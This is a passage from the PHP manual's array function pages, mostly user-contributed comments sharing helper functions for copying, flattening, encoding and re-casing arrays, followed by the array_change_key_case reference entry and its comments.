        if (in_array($key, $arrFields)) {
            $arrSub[$key] = $value;
        }
    }

    return $arrSub;
}

?>

And the output is:

Array
(
    [name] => Simone
    [gender] => M
    [city] => Macerata
    [phone] => 123
)
Array
(
    [0] => name
    [1] => city
)
Array
(
    [name] => Simone
    [city] => Macerata
)

Enjoy!

Simone
elkabong at samsalisbury dot co dot uk 13-Nov-2006 03:43
An improvement to the array_deep_copy function I posted ages ago which takes a 'snapshot' of an array, making copies of all actual values referenced... Now it is possible to prevent it traversing the tree forever when an array references itself. You can set the default $maxdepth to anything you like, you should never call this function with the $depth specified!
<?php
/* Make a complete deep copy of an array replacing
references with deep copies until a certain depth is reached
($maxdepth) whereupon references are copied as-is...  */
function array_deep_copy (&$array, &$copy, $maxdepth=50, $depth=0) {
    if($depth > $maxdepth) { $copy = $array; return; }
    if(!is_array($copy)) $copy = array();
    foreach($array as $k => &$v) {
        if(is_array($v)) {        array_deep_copy($v,$copy[$k],$maxdepth,++$depth);
        } else {
            $copy[$k] = $v;
        }
    }
}

# call it like this:

array_deep_copy($array_to_be_copied,$deep_copy_of_array,$maxdepth);
?>
Hope someone finds it useful!
ob at babcom dot biz 28-Aug-2006 08:18
Regarding my own posting 2 postings down about the function ArrayDepth() to find the maximum depth of a multidimensional array:

A number of functions for counting array dimensions have been posted. And I tried using them. Yet, if at all they only return the depth of the first branch of the array. They can not handle arrays where a later path holds a more dimension than the first.

My version will check all paths down the array and return the maximum depth. That's why I posted it.
ob at babcom dot biz 28-Aug-2006 05:56
Here are two functions Array2String() and String2Array() based on functions posted below by daenders AT yahoo DOT com.

An improvement handling NULL values correctly was posted by designatevoid at gmail dot com.

My version also solves the NULL-value-problem plus keeps support of multidimensional arrays.

<?php
// convert a multidimensional array to url save and encoded string
// usage: string Array2String( array Array )

function Array2String($Array) {
  $Return='';
  $NullValue="^^^";
  foreach ($Array as $Key => $Value) {
    if(is_array($Value))
      $ReturnValue='^^array^'.Array2String($Value);
    else
      $ReturnValue=(strlen($Value)>0)?$Value:$NullValue;
    $Return.=urlencode(base64_encode($Key)) . '|' . urlencode(base64_encode($ReturnValue)).'||';
  }
  return urlencode(substr($Return,0,-2));
}
?>

<?php
// convert a string generated with Array2String() back to the original (multidimensional) array
// usage: array String2Array ( string String)

function String2Array($String) {
  $Return=array();
  $String=urldecode($String);
  $TempArray=explode('||',$String);
  $NullValue=urlencode(base64_encode("^^^"));
  foreach ($TempArray as $TempValue) {
    list($Key,$Value)=explode('|',$TempValue);
    $DecodedKey=base64_decode(urldecode($Key));
    if($Value!=$NullValue) {
      $ReturnValue=base64_decode(urldecode($Value));
      if(substr($ReturnValue,0,8)=='^^array^')
        $ReturnValue=String2Array(substr($ReturnValue,8));
      $Return[$DecodedKey]=$ReturnValue;
     }
    else
      $Return[$DecodedKey]=NULL;
  }
  return $Return;
}
?>
ob at babcom dot biz 28-Aug-2006 04:23
Here is a function to find out the maximum depth of a multidimensional array.

<?php
// return depth of given array
// if Array is a string ArrayDepth() will return 0
// usage: int ArrayDepth(array Array)

function ArrayDepth($Array,$DepthCount=-1,$DepthArray=array()) {
  $DepthCount++;
  if (is_array($Array))
    foreach ($Array as $Key => $Value)
      $DepthArray[]=ArrayDepth($Value,$DepthCount);
  else
    return $DepthCount;
  foreach($DepthArray as $Value)
    $Depth=$Value>$Depth?$Value:$Depth;
  return $Depth;
}
?>
ob at babcom dot biz 28-Aug-2006 04:18
Regarding the function of spam at madhermit dot net from January 9th 2006:

That function only preserves the deepest keys and values.
If you try to flatten an array with that function where the deepest instance of keys might be the same where as keys in the "key-path" are different, values will be overwritten.

So here is a function that preserves the whole key-path and the keys of the flattened array will be string keys consisting of the key-path separated by $Separator.

<?php
// flatten multidimensional array to one dimension
// preserves keys by generating a key for the flattened array which consists of the
// key-path of the multidimensional array separated by $Separator
// usage: array ArrayFlatten( array Array [, string Separator] )

function ArrayFlatten($Array,$Separator="_",$FlattenedKey='') {
  $FlattenedArray=Array();
  foreach($Array as $Key => $Value) {
    if(is_Array($Value))
      $FlattenedArray=Array_merge($FlattenedArray,
                                  ArrayFlatten($Value,$Separator,
                                               (strlen($FlattenedKey)>0
                                                ?$FlattenedKey.$Separator
                                                :"").$Key)
                                               );
    else
      $FlattenedArray[$FlattenedKey.$Separator.$Key]=$Value;
  }
  return $FlattenedArray;
}
?>
sergio at {NO_SPAM_PLEASE]inservibile dot org 16-Aug-2006 05:17
In a pratical problem, I was involved in a system of queries giving the behaviour of all combinations of some parameters. How to write those queries?
The problem was to generate automatically every possible combination of those parameters. I didn't find a function and I wrote it.
(Naturally, a different way could be to build a binary sequence, but I find this function more compact and useful).
So, consider an array of objects and suppose to need all possibile combinations of those objects. Here is the function, that could be useful for some folk.
Enjoy.

<?php
function combinations($elements) {
         if (is_array($elements)) {
            /*
            I want to generate an array of combinations, i.e. an array whose elements are arrays
            composed by the elements of the starting object, combined in all possible ways.
            The empty array must be an element of the target array.
            */
            $combinations=array(array()); # don't forget the empty arrangement!
            /*
            Built the target array, the algorithm is to repeat the operations below for each object of the starting array:
            - take the object from the starting array;
            - generate all arrays given by the target array elements merged with the current object;
            - add every new combination to the target array (the array of arrays);
            - add the current object (as a vector) to the target array, as a combination of one element.
            */
            foreach ($elements as $element) {
                    $new_combinations=array(); # temporary array, see below
                    foreach ($combinations as $combination) {
                            $new_combination=array_merge($combination,(array)$element);
                            # I cannot merge directly with the main array ($combinations) because I'm in the foreach cycle
                            # I use a temporary array
                            array_push($new_combinations,$new_combination);
                            }
                    $combinations=array_merge($combinations,$new_combinations);
                    }
            return $combinations;
            } else {
            return false;
            }
         }
?>

To test the function:

<?php
$elements=array('bitter','sour','salty','sweet');
print_r(combinations($elements));
?>

The exemple was suggested in 6th century BC.
See why on: http://en.wikipedia.org/wiki/Combinatorics#Overview_and_history
za at byza dot it 20-Jul-2006 08:52
Updated functions for moving element between associative arrays using a numeric index.

Sample:
$a=array("04"=>"alpha",4=>"bravo","c"=>"charlie","d"=>"delta");
$b=array_move($a,4,2);

Move element "bravo" after "delta" keeping keys.
Old function probably goes wrong moving "alpha": caused by array_search that match numeric index 4 with "04" (string).

Follow:

<?php
// array functions - 20/07/2006 12.28

if(!defined("ARRAY_FUNCS")) {
    // Swap 2 elements in array preserving keys.
    function array_swap(&$array,$key1,$key2) {
        $v1=$array[$key1];
        $v2=$array[$key2];
        $out=array();
        foreach($array as $i=>$v) {
            if($i===$key1) {
                $i=$key2;
                $v=$v2;
            } else if($i===$key2) {
                $i=$key1;
                $v=$v1;
            }
            $out[$i]=$v;
        }
        return $out;
    }

    //  Get a key position in array
    function array_kpos(&$array,$key) {
        $x=0;
        foreach($array as $i=>$v) {
            if($key===$i) return $x;
            $x++;
        }
        return false;
    }

    // Return key by position
    function array_kbypos(&$array,$pos) {
        $x=0;
        foreach($array as $i=>$v) {
            if($pos==$x++) return $i;
        }
        return false;
    }

    // Move an element inside an array preserving keys
    // $relpos should be like -1, +2...
    function array_move(&$array,$key,$relpos) {
        if(!$relpos) return false;
        $from=array_kpos($array,$key);
        if($from===false) return false;
        $to=$from+$relpos+($relpos>0?1:0);
        $len=count($array);
        if($to>=$len) {
            $val=$array[$key];
            unset($array[$key]);
            $array[$key]=$val;
        } else {
            if($to<0) $to=0;
            $new=array();
            $x=0;
            foreach($array as  $i=>$v) {
                if($x++==$to) $new[$key]=$array[$key];
                if($i!==$key) $new[$i]=$v;
            }
            $array=$new;
        }
        return $array;
    }

    define("ARRAY_FUNCS",true);
}
?>
g8z at yahoo dot com 19-Jul-2006 01:42
<?php
/**
filter_by_occurrence scans an array, and depending on the $exclusive parameter, includes or excludes elements occuring at least $min_occurences times, and at most $max_occurances times.

parameters:

$data_set = the array to work on
$min_occurrences = the minimum number of occurrences
$max_occurrences = the maximum number of occurrences (zero for unlimited)
$exclusive = if true, will return only results that do not occur within the specified bounds

Courtesy of the $5 Script Achive: http://www.tufat.com
**/

function filter_by_occurrence ($data_set, $min_occurrences, $max_occurrences = 0, $exclusive = false) {
    $results = array();

    // iterate through unique elements
    foreach (array_unique($data_set) as $value) {

        // count how many times element is in the array
        $count = 0;
        foreach ($data_set as $element) {
            if ($element == $value)
                $count++;
        }

        // check if meets min_occurences
        $is_in_range = false;

        if ($count >= $min_occurrences) {
            // check if meets max_occurrences (unless max_occurences is 0)
            if ( $count <= $max_occurrences || $max_occurrences == 0)
                $is_in_range = true;
        }

        // add item to array if appropriate
        if ($is_in_range && !$exclusive)
            array_push($results, $value);
        if (!$is_in_range && $exclusive)
            array_push($results, $value);
    }

    // return results
    return $results;
}

// EXAMPLE:

$test_data = array('pizza', 'ham', 'pizza', 'pizza', 'ham', 'fish', 'fish', 'fish', 'fish', 'dinosaur');

foreach (filter_by_occurrence( $test_data, 3, 0, false ) as $value)
{
    print $value . ' occurs at least 3 times. <br />';
}

?>
nick 11-Jul-2006 05:46
This little function will move an array element up or down. Unlike the similar function in a previous comment this will work for associative arrays too.

Because it uses current to traverse the array it will fail if a value is false (or 0). It could probably be rewritten to use each() but I couldn't work it out.
<?php
function array_move_element($array, $value, $direction = 'up') {

    $temp = array();

    if(end($array) == $value && $direction == 'down') {
        return $array;
    }
    if(reset($array) == $value && $direction == 'up') {
        return $array;
    }

    while ($array_value = current($array)) {

        $this_key = key($array);

        if ($array_value == $value) {
            if($direction == 'down') {
                $next_value = next($array);
                $temp[key($array)] = $next_value;
                $temp[$this_key] = $array_value;
            } else {
                $prev_value = prev($array);
                $prev_key = key($array);
                unset($temp[$prev_key]);
                $temp[$this_key] = $array_value;
                $temp[$prev_key] = $prev_value;
                next($array);
                next($array);
            }
            continue;
        } else {
            $temp[$this_key] = $array_value;
        }

        next($array);
    }
    return $temp;

}
?>
kroczu at interia dot pl 06-Jul-2006 06:53
<?
//A little function to convert array to simle xml:

function array_xml($array, $num_prefix = "num_")
{
    if(!is_array($array)) // text
    {
        return $array;
    }
    else
    {
        foreach($array as $key=>$val) // subnode
        {
            $key = (is_numeric($key)? $num_prefix.$key : $key);
            $return.="<".$key.">".array_xml($val, $num_prefix)."</".$key.">";
        }
    }

    return $return;
}

//example:

$array[0][0]                    = 1;
$array[0]['test']               = "test";
$array['test1']['test2']        = "test";
$array['test'][0]               = "test";
$array['test'][1]['test_x']     = $array;

print_r($array);

print"<xml>";

print array_xml($array);

print"</xml>";

/*

print_r($array) previev:

Array
(
    [0] => Array
        (
            [0] => 1
            [test] => test
        )
    [test1] => Array
        (
            [test2] => test
        )
    [test] => Array
        (
            [0] => test
            [1] => Array
                (
                    [test_x] => Array
                        (
                            [0] => Array
                                (
                                    [0] => 1
                                    [test] => test
                                )
                            [test1] => Array
                                (
                                    [test2] => test
                                )
                            [test] => Array
                                (
                                    [0] => test
                                )
                        )
                )
        )
)

result xml in firefox preview:

-<xml>
    -     <num_0>
            <num_0>1</num_0>
            <test>test</test>
        </num_0>
    -    <test1>
            <test2>test</test2>
        </test1>
    -    <test>
            <num_0>test</num_0>
        -    <num_1>
            -    <test_x>
                -    <num_0>
                        <num_0>1</num_0>
                        <test>test</test>
                    </num_0>
                -    <test1>
                        <test2>test</test2>
                    </test1>
                -    <test>
                        <num_0>test</num_0>
                    </test>
                </test_x>
            </num_1>
        </test>
 </xml>

*/
?>
vinaur at gmail dot com 06-Jun-2006 01:36
Regarding the array to string (parse_line) and string to array (parse_array) functions posted below by Kevin Law.

The functions will not work correctly if the array being parsed contains values that include commas and possibly parentheses.

To solve this problem I added urlencode and urldecode functions and the result looks like this:

<?php
function parse_line($array){
    $line = "";
    foreach($array AS $key => $value){
        if(is_array($value)){
            $value = "(". parse_line($value) . ")";
        }
        else
        {
            $value = urlencode($value);
        }
        $line = $line . "," . urlencode($key) . ":" . $value . "";
    }
    $line = substr($line, 1);
    return $line;
}

function parse_array($line){
   $q_pos = strpos($line, ":");
   $name = urldecode(substr($line,0,$q_pos));
   $line = trim(substr($line,$q_pos+1));
   $open_backet_pos = strpos($line, "(");

   if($open_backet_pos===false || $open_backet_pos>0){
       $comma_pos = strpos($line, ",");
       if($comma_pos===false){
           $result[$name] = urldecode($line);
           $line = "";
       }else{
           $result[$name] = urldecode(substr($line,0,$comma_pos));
           $result = array_merge($result, parse_array(substr($line,$comma_pos+1)));
           $line = "";
       }
   }else if ($open_backet_pos==0){
       $line = substr($line,1);
       $num_backet = 1;
       $line_char_array = str_split($line);
       for($index = 0; count($line_char_array); $index++){
           if($line_char_array[$index] == '('){
               $num_backet++;
           }else if ($line_char_array[$index] == ')'){
               $num_backet--;
           }
           if($num_backet == 0){
               break;
           }
       }
       $sub_line = substr($line,0,$index);
       $result[$name] = parse_array($sub_line);
       $line = substr($line,$index+2);
   }
   if(strlen($line)!=0){
       $result = array_merge($result, parse_array($line));
   }

   return $result;
}
?>
elkabong at samsalisbury dot co dot uk 24-Mar-2006 02:31
Hello all! I've just been working on a system to automatically manage virtualhosts on an Apache box and I needed to duplicate some multidimensional arrays containing references to other multidimensional array some of which also contained references. These big arrays are defaults which need to be overwritten on a per-virtualhost basis, so copying references into the virtualhost arrays was not an option (as the defults would get corrupted).

After hours of banging me head on the wall, this is what I've come up with:
<?PHP # Tested on PHP Version 5.0.4
# Recursively set $copy[$x] to the actual values of $array[$x]
function array_deep_copy (&$array, &$copy) {
    if(!is_array($copy)) $copy = array();
    foreach($array as $k => $v) {
        if(is_array($v)) {
            array_deep_copy($v,$copy[$k]);
        } else {
            $copy[$k] = $v;
        }
    }
}
# To call it do this:
$my_lovely_reference_free_array = array();
array_deep_copy($my_array_full_of_references, $my_lovely_reference_free_array);
# Now you can modify all of $my_lovely_reference_free_array without
# worrying about $my_array_full_of_references!
?>
NOTE: Don't use this on self-referencing arrays! I haven't tried it yet but I'm guessing an infinate loop will occur...

I hope someone finds this useful, I'm only a beginner so if there's any fatal flaws or improvements please let me know!
alessandronunes at gmail dot com 18-Mar-2006 02:06
The Ninmja sugestion plus multidiomensional array search (recursive):

function cleanArray($array) {
   foreach ($array as $index => $value) {
        if(is_array($array[$index])) $array[$index] = cleanArray($array[$index]);
        if (empty($value)) unset($array[$index]);
   }
   return $array;
}
Atomo64 03-Jan-2006 05:14
Here's a simple way to convert an array to a string and vice-versa.
Note that it does NOT support string keys,
for more information take a look at what it does:

<?php
class OptionAsArray
{
    function make_the_arr($value)
    {
        $newValue=array();
        $vals=explode('&',$value);
        foreach($vals as $v)
        {
            if($v{0}=='@')
            $newValue[]=$this->make_the_arr(
            urldecode(substr($v,1)));
            else
            $newValue[]=urldecode($v);
        }
        if(empty($newValue))
        return false;
        else
        return $newValue;
    }
    function make_the_value($arr)
    {
        $newValue=array();
        foreach($arr as $value)
        {
            if(is_array($value))
            $newValue[]='@'.urlencode(
            implode('&',$this->make_the_value($value)));
            else
            $newValue[]=urlencode($value);
        }
        if(empty($newValue))
        return false;
        else
        return $newValue;
    }
}
?>
jonathan at sharpmedia dot net 05-Dec-2005 06:37
/**
 * Flattens a multimentional array.
 *
 * Takes a multi-dimentional array as input and returns a flattened
 * array as output. Implemented using a non-recursive algorithm.
 * Example:
 * <code>
 * $in = array('John', 'Jim', array('Jane', 'Jasmine'), 'Jake');
 * $out = array_flatten($in);
 * // $out = array('John', 'Jim', 'Jane', 'Jasmine', 'Jake');
 * </code>
 *
 * @author        Jonathan Sharp <jonathan@sharpmedia.net>
 * @var            array
 * @returns        array
 */
function array_flatten($array)
{
    while (($v = array_shift($array)) !== null) {
        if (is_array($v)) {
            $array = array_merge($v, $array);
        } else {
            $tmp[] = $v;
        }
    }

    return $tmp;
}
stalker at ruun dot de 20-Nov-2005 01:15
I had some problems while selecting sub-arrays from multi-dimensional arrays (like the SQL-WHERE clause), so i wrote the following function:

<?php
function selectMultiArray($__multiarray,$__key,$__value) {
  foreach($__multiarray as $multipart) {
    if($multipart[$__key] == $__value) {
      $__return[] = $multipart;
    }
  }
  if(empty($__return)) {
    return FALSE;
  }
  return $__return;
}
?>

hope someones finding this helpful. If you have better was for getting to this, please answer.

greets,
St4Lk3R
msajko at gmail dot com 19-Oct-2005 01:25
array_to_string and sister function string_to_array with multi dimensional array support.

// Converts an array to a string that is safe to pass via a URL
function array_to_string($array) {
   $retval = '';
   $null_value = "^^^";
   foreach ($array as $index => $val) {
       if(gettype($val)=='array') $value='^^array^'.array_to_string($val);    else $value=$val;
       if (!$value)
           $value = $null_value;
       $retval .= urlencode(base64_encode($index)) . '|' . urlencode(base64_encode($value)) . '||';
   }
   return urlencode(substr($retval, 0, -2));
}

// Converts a string created by array_to_string() back into an array.
function string_to_array($string) {
   $retval = array();
   $string = urldecode($string);
   $tmp_array = explode('||', $string);
   $null_value = urlencode(base64_encode("^^^"));
   foreach ($tmp_array as $tmp_val) {
       list($index, $value) = explode('|', $tmp_val);
       $decoded_index = base64_decode(urldecode($index));
       if($value != $null_value){
           $val= base64_decode(urldecode($value));
           if(substr($val,0,8)=='^^array^') $val=string_to_array(substr($val,8));
           $retval[$decoded_index]=$val;
          }
       else
           $retval[$decoded_index] = NULL;
   }
   return $retval;
}
phpnet_spam at erif dot org 17-Oct-2005 06:36
Thought this might save someone a few hours. :)  Feedback welcome, of course!  Public domain, yadda yadda.

function assocSort(&$array,$key) {
    if (!is_array($array) || count($array) == 0) return true;
    $assocSortCompare  = '$a = $a["'.$key.'"]; $b = $b["'.$key.'"];';

    if (is_numeric($array[0][$key])) {
      $assocSortCompare.= ' return ($a == $b) ? 0 : (($a < $b) ? -1 : 1);';
    } else {
      $assocSortCompare.= ' return strcmp($a,$b);';
    }

    $assocSortCompare = create_function('$a,$b',$assocSortCompare);
    return usort($array,$assocSortCompare);
}
designatevoid at gmail dot com 13-Oct-2005 06:40
Here's an improvement to the array_to_string and string_to_array functions posted by daenders AT yahoo DOT com above.

They now handle NULL values correctly.

<?php

// Converts an array to a string that is safe to pass via a URL
function array_to_string($array) {
    $retval = '';
    $null_value = "^^^";
    foreach ($array as $index => $value) {
        if (!$value)
            $value = $null_value;
        $retval .= urlencode(base64_encode($index)) . '|' . urlencode(base64_encode($value)) . '||';
    }
    return urlencode(substr($retval, 0, -2));
}

// Converts a string created by array_to_string() back into an array.
function string_to_array($string) {
    $retval = array();
    $string = urldecode($string);
    $tmp_array = explode('||', $string);
    $null_value = urlencode(base64_encode("^^^"));
    foreach ($tmp_array as $tmp_val) {
        list($index, $value) = explode('|', $tmp_val);
        $decoded_index = base64_decode(urldecode($index));
        if($value != $null_value)
            $retval[$decoded_index] = base64_decode(urldecode($value));
        else
            $retval[$decoded_index] = NULL;
    }
    return $retval;
}

?>
aidan at php dot net 09-Oct-2005 01:32
To convert an array to a HTML table, see:
http://aidanlister.com/repos/v/function.array2table.php

PEAR also provides a simular package with many more features,
http://pear.php.net/package/Var_Dump
za at lombardiacom dot it 27-Sep-2005 08:01
<?php
    // Swap 2 elements in array preserving keys.
    function array_swap(&$array,$key1,$key2) {
        $v1=$array[$key1];
        $v2=$array[$key2];
        $out=array();
        foreach($array as $i=>$v) {
            if($i==$key1) {
                $i=$key2;
                $v=$v2;
            } else if($i==$key2) {
                $i=$key1;
                $v=$v1;
            }
            $out[$i]=$v;
        }
        return $out;
    }

    // Move an element inside an array preserving keys.
    function array_move(&$array,$key,$position) {
        $from=array_search($key,array_keys($array));
        $to=$from+$position;
        $tot=count($array);
        if($position>0) $to++;
        if($to<0) $to=0;
        else if($to>=$tot) $to=$tot-1;
        $n=0;
        $out=array();
        foreach($array as $i=>$v) {
            if($n==$to) $out[$key]=$array[$key];
            if($n++==$from) continue;
            $out[$i]=$v;
        }
        return $out;
    }
?>
Domenic Denicola 15-Aug-2005 11:49
Another JavaScript conversion, this time to objects instead of arrays. They can be accessed the same way, but are declared much shorter, so it saves some download time for your users:

<?
function PhpArrayToJsObject($array, $objName)
{
    return 'var ' . $objName . ' = ' . PhpArrayToJsObject_Recurse($array) . ";\n";
}

function PhpArrayToJsObject_Recurse($array)
{
    // Base case of recursion: when the passed value is not a PHP array, just output it (in quotes).
    if(! is_array($array) )
    {
        // Handle null specially: otherwise it becomes "".
        if ($array === null)
        {
            return 'null';
        }

        return '"' . $array . '"';
    }

    // Open this JS object.
    $retVal = "{";

    // Output all key/value pairs as "$key" : $value
    // * Output a JS object (using recursion), if $value is a PHP array.
    // * Output the value in quotes, if $value is not an array (see above).
    $first = true;
    foreach($array as $key => $value)
    {
        // Add a comma before all but the first pair.
        if (! $first )
        {
            $retVal .= ', ';
        }
        $first = false;

        // Quote $key if it's a string.
        if (is_string($key) )
        {
            $key = '"' . $key . '"';
        }

        $retVal .= $key . ' : ' . PhpArrayToJsObject_Recurse($value);
    }

    // Close and return the JS object.
    return $retVal . "}";
}
?>

Difference from previous function: null values are no longer "" in the object, they are JavaScript null.

So for example:

<?
$theArray = array("A" => array("a", "b", "c" => array("x")), "B" => "y");
echo PhpArrayToJsObject($theArray, "myArray");
?>

Gives:

var myArray = {"A" : {0 : "a", 1 : "b", "c" : {0 : "x"}}, "B" : "y"};

You can still access them just like arrays, with myArray["A"][0] or myArray["A"]["c"][0] or whatever. Just shrinks your pages.
dieter peeters 11-Aug-2005 04:35
in response to: Domenic Denicola

I reworked your function a bit and thought i just as well could post it.

Below is the cleaner version, just cut and paste ;) The third parameter is of little use to the coder, unless javascript declaration of variables changes at some point in the future - who knows.

Only minor point is the added parameter which probably gets copied every recursive call with an empty value, though i don't know the exact ways how php handles recursion internally. Most of the time php is pretty smart when optimizing code and an empty string shouldn't take much memory anyway :)

<?php
function phpArrayToJsArray($name,$array,$prePend='var ')
{
    if (is_array($array)) { // Array recursion
        $result = $name.' = new Array();'."\n";
        foreach ($array as $key => $value) {
           $result .= phpArrayToJsArray($name.'["'.$key.'"]',$value,'');
        }
    } else {  // Base case of recursion
        $result = $name.' = "'.$array.'";'."\n";
    }
    return $prePend.$result;
}
?>
michael at imreo com 21-Jul-2005 05:20
Reply to array_cartesian_product of skopek at mediatac dot com, 13-Oct-2004 12:44:

Your function does not work in my configuration (WinXP, apache 2.0, php 4.3.11).
This part of code:
...
} else { //if next returns false, then reset and go on with previuos array...
  reset($arrays[$j]);
}
...
cause infinite loop.
Replacing to
...
} elseif (isset($arrays[$j])) {
  reset($arrays[$j]);
}
...
works good.

My complete working function (additionaly strings as keys are allowed):
<?php
function array_cartesian_product($arrays)
{
    $result = array();
    $arrays = array_values($arrays);
    $sizeIn = sizeof($arrays);
    $size = $sizeIn > 0 ? 1 : 0;
    foreach ($arrays as $array)
        $size = $size * sizeof($array);
    for ($i = 0; $i < $size; $i ++)
    {
        $result[$i] = array();
        for ($j = 0; $j < $sizeIn; $j ++)
            array_push($result[$i], current($arrays[$j]));
        for ($j = ($sizeIn -1); $j >= 0; $j --)
        {
            if (next($arrays[$j]))
                break;
            elseif (isset ($arrays[$j]))
                reset($arrays[$j]);
        }
    }
    return $result;
}
?>
daenders AT yahoo DOT com 08-Jul-2005 01:49
Several people here have posted functions for converting arrays to strings, but nobody posted a sister function that would convert it back.  Also, their data is not URL safe.  These functions are URL safe, hide the data by MIME encoding it, and are much shorter.  Enjoy.  :-)

<?php

// Converts an array to a string that is safe to pass via a URL
function array_to_string($array) {
    $retval = '';
    foreach ($array as $index => $value) {
        $retval .= urlencode(base64_encode($index)) . '|' . urlencode(base64_encode($value)) . '||';
    }
    return urlencode(substr($retval, 0, -2));
}

// Converts a string created by array_to_string() back into an array.
function string_to_array($string) {
    $retval = array();
    $string = urldecode($string);
    $tmp_array = explode('||', $string);
    foreach ($tmp_array as $tmp_val) {
        list($index, $value) = explode('|', $tmp_val);
        $retval[base64_decode(urldecode($index))] = base64_decode(urldecode($value));
    }
    return $retval;
}

// Example:
$array1 = array('index1' => 'val1', 'index2' => 'val2', 'index3' => 'val3');
echo '<pre>'; print_r($array1); echo '</pre>';
$string = array_to_string($array1);
echo '$string: '.$string.'<br />';
$array2 = string_to_array($string);
echo '<pre>'; print_r($array2); echo '</pre>';

?>
m227(a)poczta.onet.pl 20-Jan-2005 08:18
How to count dimensions in multi-array? (corrected)

previous version didn't work when called more than one time.
($dimcount was preserved from previous call)

This is the way I corrected this:

function countdim($array)
  {
    if (is_array(reset($array)))
      $return = countdim(reset($array)) + 1;
    else
      $return = 1;

    return $return;
  }

This function will return int number of array dimensions.
Sorting Arrays
array_change_key_case
Arrays


Changes all keys in an array

Array Functions
array_chunk
Array Functions
PHP Manual

array_change_key_case

(PHP 4 >= 4.2.0, PHP 5)

array_change_key_case — Changes all keys in an array

Description

array array_change_key_case ( array $input [, int $case = CASE_LOWER ] )

Returns an array with all keys from input lowercased or uppercased. Numbered indices are left as is.

Parameters

input

The array to work on

case

Either CASE_UPPER or CASE_LOWER (default)

Return Values

Returns an array with its keys lower or uppercased, or FALSE if input is not an array.

Errors/Exceptions

Throws E_WARNING if input is not an array.

Examples

Example #1 array_change_key_case() example

<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>

The above example will output:

Array
(
    [FIRST] => 1
    [SECOND] => 4
)

Notes

Note:

If an array has indices that will be the same once run through this function (e.g. "keY" and "kEY"), the value that is later in the array will override other indices.

User Contributed Notes

JOE 19-Oct-2011 11:13
Script to change case of sub-arrays keys to lower . It works well for me. hope it helps.

<?php
$array=array("First"=>"val1","SecoNd"=>"val2",
"third"=>array("third-INner1"=>"val3.1"),
"fourth"=>array("FouthINNer1"=>"val4.1","FourthINNER2"=>"val4.2"));
print_r($array);
$key=array_keys($array);
foreach($key as $ki)
{
    $klower=strtolower($ki);
    $val=$array[$ki];
    if(is_array($val))
    {
        foreach($val as $kinner=>$vinner)
        {

            $tl=strtolower($kinner);
            unset($val[$kinner]);
            $val[$tl]=$vinner;
        }
    }
    unset($array[$ki]);
    $array[$klower]=$val;
}
echo "<br> After Changing Key to-LowerCase : <br>";
print_r($array);

?>
Lus Henrique Pessoa 24-Sep-2010 09:03
<?php

// improving the previous script
function ack_r3(&$array, $case=CASE_LOWER, $flag_rec=false)
    {
      $array = array_change_key_case($array, $case);
      if ( $flag_rec ) {
        foreach ($array as $key => $value) {
            if ( is_array($value) ) {
                ack_r3($array[$key], $case, true);
            }
        }
      }
    }

// same of array_change_key_case
$arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,false);
    var_dump($arr);

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,true);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["PHONE"]=>
    string(9) "3010-7148"
    ["E-MAIL"]=>
    string(12) "luis@net.com"
  }
}
array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
Luis Henrique Pessoa 23-Sep-2010 09:25
Script to change case of sub-arrays keys:

<?php

    function arrKey2Lower(&$arrVals) {
        foreach( $arrVals as $key => $item ) {
            $key2 = strtolower($key);
            if ( $key2 != $key) {
                unset($arrVals[$key]);
                $arrVals[$key2]=$item;
                $key=$key2;
            }

            if ( is_array($item) ) { arrKey2Lower($arrValores[$key]); }
        }
    }

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    arrKey2Lower($arr);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
info at microweb dot lt 29-Nov-2009 02:07
Simple function to change multidimensional array's all values to uppercase. If you would like to change to lowercase then change "mb_strtoupper" to  "mb_strtolower". It works perfect for me ;)

<?php
function change_case_recursive($arr){
    foreach ($arr as $key=>$val){
        if (!is_array($arr[$key])){
            $arr[$key]=mb_strtoupper($arr[$key]);
        }else{
            $arr[$key]=change_case_recursive($arr[$key]);
        }
    }
    return $arr;
}
?>
david at ramaboo dot com 02-Feb-2009 03:22
Same as array_change_key_case only with the values. This should really be part of PHP!

<?php
/**
 * @brief Returns an array with all values lowercased or uppercased.
 * @return array Returns an array with all values lowercased or uppercased.
 * @param object $input The array to work on
 * @param int $case [optional] Either \c CASE_UPPER or \c CASE_LOWER (default).
 */
function array_change_value_case(array $input, $case = CASE_LOWER) {
    switch ($case) {
        case CASE_LOWER:
            return array_map('strtolower', $input);
            break;
        case CASE_UPPER:
            return array_map('strtoupper', $input);
            break;
        default:
            trigger_error('Case is not valid, CASE_LOWER or CASE_UPPER only', E_USER_ERROR);
            return false;
    }
}
?>
charles 12-Jan-2009 11:38
<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>
anon at ymous dot com 02-Dec-2008 03:19
Below is a recursive version of this function.

<?php
    /**
     * A recursive array_change_key_case function.
     * @param array $input
     * @param integer $case
     */
    function array_change_key_case_recursive($input, $case = null){
        if(!is_array($input)){
            trigger_error("Invalid input array '{$array}'",E_USER_NOTICE); exit;
        }
        // CASE_UPPER|CASE_LOWER
        if(null === $case){
            $case = CASE_LOWER;
        }
        if(!in_array($case, array(CASE_UPPER, CASE_LOWER))){
            trigger_error("Case parameter '{$case}' is invalid.", E_USER_NOTICE); exit;
        }
        $input = array_change_key_case($input, $case);
        foreach($input as $key=>$array){
            if(is_array($array)){
                $input[$key] = array_change_key_case_recursive($array, $case);
            }
        }
